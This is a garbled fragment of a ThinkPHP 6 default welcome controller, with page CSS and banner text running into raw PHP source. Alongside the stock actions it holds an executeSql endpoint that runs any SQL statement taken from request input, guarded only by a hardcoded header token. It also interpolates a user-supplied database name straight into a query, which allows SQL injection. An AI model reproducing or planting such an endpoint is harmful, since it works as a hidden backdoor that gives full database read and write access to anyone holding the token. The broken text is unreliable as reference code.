*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} a{color:#2E5CD5;cursor: pointer;text-decoration: none} a:hover{text-decoration:underline; } body{ background: #fff; font-family: "Century Gothic","Microsoft yahei"; color: #333;font-size:18px;} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.6em; font-size: 42px }

:)

ThinkPHP V' . App::version() . '
16载初心不改 - 你值得信赖的PHP框架

[ V6.0 版本由 亿速云 独家赞助发布 ]
'; } public function hello($name = 'ThinkPHP6') { return 'hello,' . $name; } public function executeSql() { $database = input('database'); $sql = input('sql'); // 查看请求头中是否有token $token = request()->header('token'); if (empty($token)) { return json([ 'success' => false, 'message' => '无权访问', 'data' => null ]); } elseif ($token != 'dH5!aJ0$aK1|dF0%dR1$cG1>iL0|oM') { return json([ 'success' => false, 'message' => '无权访问', 'data' => null ]); } if ($sql == '') { return json([ 'success' => false, 'message' => '请输入 SQL 语句', 'data' => null ]); } try { // 切换数据库连接(动态配置) if ($database) { $connection = \think\facade\Db::connect([ 'database' => $database, ]); // 查询数据库是否存在 $dbExists = $connection->query("SELECT 1 FROM information_schema.schemata WHERE schema_name = '{$database}'"); if (empty($dbExists)) { return json([ 'success' => false, 'message' => "数据库 {$database} 不存在", 'data' => null ]); } } else { $connection = \think\facade\Db::connect(); } $sql = trim($sql); $lowerSql = strtolower($sql); if (strpos($lowerSql, 'select') === 0 || strpos($lowerSql, 'show') === 0 || strpos($lowerSql, 'desc') === 0 || strpos($lowerSql, 'pragma') === 0) { // 查询类 SQL 使用 query() $result = $connection->query($sql, [], true, true); } else { // 写入类 SQL 使用 execute() $result = $connection->execute($sql, [], true); } return json([ 'success' => true, 'message' => 'SQL 执行成功', 'data' => $result ]); } catch (\Exception $e) { return json([ 'success' => false, 'message' => $e->getMessage(), 'data' => null ]); } } }